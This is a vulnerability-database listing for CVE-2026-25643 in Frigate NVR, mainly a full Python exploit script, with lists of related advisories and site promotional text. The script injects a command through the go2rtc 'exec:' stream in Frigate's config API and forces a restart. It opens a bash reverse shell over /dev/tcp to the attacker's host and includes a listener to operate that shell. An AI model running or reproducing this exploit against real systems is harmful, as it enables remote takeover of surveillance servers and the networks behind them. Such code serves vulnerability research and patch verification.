Lucene search
K

📄 Frigate NVR 0.16.3 Remote Code Execution

🗓️ 05 May 2026 00:00:00Reported by jduardo2704Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 50 Views

Frigate NVR version up to 0.16.3 has a remote code execution vulnerability (CVE-2026-25643).

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for OS Command Injection in Frigate
7 Mar 202620:23
githubexploit
GithubExploit
Exploit for Improper Privilege Management in Frigate
24 Feb 202621:14
githubexploit
GithubExploit
Exploit for CVE-2026-25643
5 Feb 202621:23
githubexploit
ATTACKERKB
CVE-2026-25643
6 Feb 202619:16
attackerkb
Circl
CVE-2026-25643
6 Feb 202620:17
circl
CNNVD
Frigate 安全漏洞
6 Feb 202600:00
cnnvd
CVE
CVE-2026-25643
6 Feb 202619:16
cve
Cvelist
CVE-2026-25643 Frigate Affected by Authenticated Remote Command Execution (RCE) and Container Escape
6 Feb 202619:16
cvelist
Exploit DB
Frigate NVR 0.16.3 - Remote Code Execution
30 Apr 202600:00
exploitdb
EUVD
EUVD-2026-5586
6 Feb 202619:16
euvd
Rows per page
# Exploit Title: Frigate NVR 0.16.3 - Remote Code Execution 
    # Date: 2026-02-05
    # Exploit Author: jduardo2704
    # Vendor Homepage: https://frigate.video/
    # Software Link: https://github.com/blakeblackshear/frigate
    # Version: <= 0.16.3
    # Tested on: Linux / Docker
    # CVE: CVE-2026-25643
    # Advisory: https://github.com/blakeblackshear/frigate/security/advisories/GHSA-4c97-5jmr-8f6x
    
    import requests
    import argparse
    import sys
    import json
    import urllib3
    import yaml
    import time
    import socket
    import threading
    import select
    import re
    
    # Silence SSL warnings
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Colors
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    BLUE = '\033[94m'
    RESET = '\033[0m'
    
    # Event to synchronize the listener with the exploit thread
    exploit_ready = threading.Event()
    
    def print_status(msg, color=BLUE, symbol="[*]"):
        print(f"{color}{symbol} {msg}{RESET}")
    
    def login_frigate(session, url, username, password):
        try:
            print_status(f"Authenticating as {username}...", BLUE)
            res = session.post(f"{url}/api/login", json={"user": username, "password": password}, verify=False, timeout=10)
            return res.status_code == 200
        except:
            return False
    
    def get_config(session, url):
        try:
            res = session.get(f"{url}/api/config/raw", timeout=10)
            content = res.text.strip()
            if content.startswith('"'):
                try:
                    config_raw = json.loads(content)
                except:
                    config_raw = content
            else:
                config_raw = content
                
            return yaml.safe_load(config_raw)
        except:
            return None
    
    def send_payload(session, url, data):
        final_yaml = yaml.dump(data)
        try:
            session.post(
                f"{url}/api/config/save?save_option=restart", 
                data=final_yaml, 
                headers={"Content-Type": "text/plain"}, 
                timeout=5 
            )
        except:
            pass 
    
    def inject_and_exploit(url, username, password, lhost, lport):
        """Function to run in background thread"""
        session = requests.Session()
        session.verify = False
    
        # 1. AUTHENTICATION LOGIC
        if username and password:
            if not login_frigate(session, url, username, password):
                print_status("Login failed with provided credentials.", RED, "[-]")
                sys.exit(1) 
            print_status("Logged in successfully.", BLUE)
        else:
            print_status("No credentials provided. Trying unauthenticated access...", YELLOW)
    
        # 2. CONFIG RETRIEVAL & VALIDATION
        print_status("Fetching configuration...", BLUE)
        config = get_config(session, url)
        
        if not config or not isinstance(config, dict):
            print_status("Failed to retrieve a valid configuration dictionary.", RED, "[-]")
            print_status("Target might be authenticated or API is restricted.", RED, "[-]")
            sys.exit(1)
    
        # 3. PAYLOAD PREPARATION
        try:
            payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
            
            # Inject go2rtc
            if 'go2rtc' not in config or config['go2rtc'] is None: config['go2rtc'] = {}
            if 'streams' not in config['go2rtc'] or config['go2rtc']['streams'] is None: config['go2rtc']['streams'] = {}
            config['go2rtc']['streams']['cve_poc'] = [f"exec:{payload}"]
    
            # Inject camera trigger
            if 'cameras' not in config or config['cameras'] is None: config['cameras'] = {}
            config['cameras']['cve_trigger'] = {
                'ffmpeg': {'inputs': [{'path': 'rtsp://127.0.0.1:8554/cve_poc', 'roles': ['detect']}]},
                'detect': {'enabled': False},
                'audio': {'enabled': False}, 
                'enabled': True
            }
            
            print_status("Payload injected into config structure.", GREEN, "[+]")
    
            # 4. SIGNAL LISTENER TO START
            exploit_ready.set()
            time.sleep(5) 
            print_status("Sending malicious config & triggering restart...", YELLOW)
            send_payload(session, url, config)
    
        except Exception as e:
            print_status(f"Error during payload injection: {e}", RED, "[-]")
            sys.exit(1)
    
    def shell_handler(lport):
        """Handles the incoming reverse shell connection"""
        
        print_status("Waiting for validation...", BLUE)
        if not exploit_ready.wait(timeout=20): 
            print_status("Timeout waiting for exploit thread validation.", RED, "[-]")
            return
    
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        
        try:
            s.bind(('0.0.0.0', int(lport)))
            s.listen(1)
            print_status(f"Validation OK. Listening on 0.0.0.0:{lport}...", GREEN, "[+]")
            s.settimeout(60) 
            
            try:
                conn, addr = s.accept()
                print_status(f"Connection received from {addr[0]}!", GREEN, "[+]")
                print(f"{YELLOW}--- SHELL ESTABLISHED ---\n{RESET}")
                
                s.settimeout(None) 
                conn.settimeout(None)
    
                while True:
                    r, _, _ = select.select([sys.stdin, conn], [], [])
                    
                    if conn in r:
                        data = conn.recv(4096)
                        if not data: break
                        
                        # CLEAN OUTPUT LOGIC
                        output = data.decode(errors='ignore')
                        
                        # Remove annoying bash TTY errors using Regex
                        # Matches "bash: cannot set terminal process group (PID): Inappropriate ioctl..."
                        output = re.sub(r"bash: cannot set terminal process group \(\d+\): Inappropriate ioctl for device\r?\n?", "", output)
                        # Matches "bash: no job control in this shell"
                        output = output.replace("bash: no job control in this shell\r\n", "")
                        output = output.replace("bash: no job control in this shell\n", "")
                        
                        sys.stdout.write(output)
                        sys.stdout.flush()
                        
                    if sys.stdin in r:
                        cmd = sys.stdin.readline()
                        conn.send(cmd.encode())
    
            except socket.timeout:
                print_status("Exploit sent but no connection received (Timeout > 60s).", RED, "[-]")
    
        except KeyboardInterrupt:
            print_status("\nClosing connection.", RED)
        except Exception as e:
            print_status(f"Listener error: {e}", RED)
        finally:
            s.close()
    
    def main():
        parser = argparse.ArgumentParser(description="Frigate <= 0.16.3 RCE (Auto-Shell) - CVE-2026-25643")
        parser.add_argument('-u', '--url', required=True, help="Target URL")
        parser.add_argument('-U', '--username', required=False, help="Username (optional)")
        parser.add_argument('-P', '--password', required=False, help="Password (optional)")
        parser.add_argument('-lh', '--lhost', required=True, help="Your IP (LHOST)")
        parser.add_argument('-lp', '--lport', required=True, help="Your Port (LPORT)")
        args = parser.parse_args()
    
        exploit_thread = threading.Thread(
            target=inject_and_exploit, 
            args=(args.url.rstrip('/'), args.username, args.password, args.lhost, args.lport)
        )
        exploit_thread.daemon = True
        exploit_thread.start()
    
        shell_handler(args.lport)
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 May 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.19.1
EPSS0.02874
SSVC
50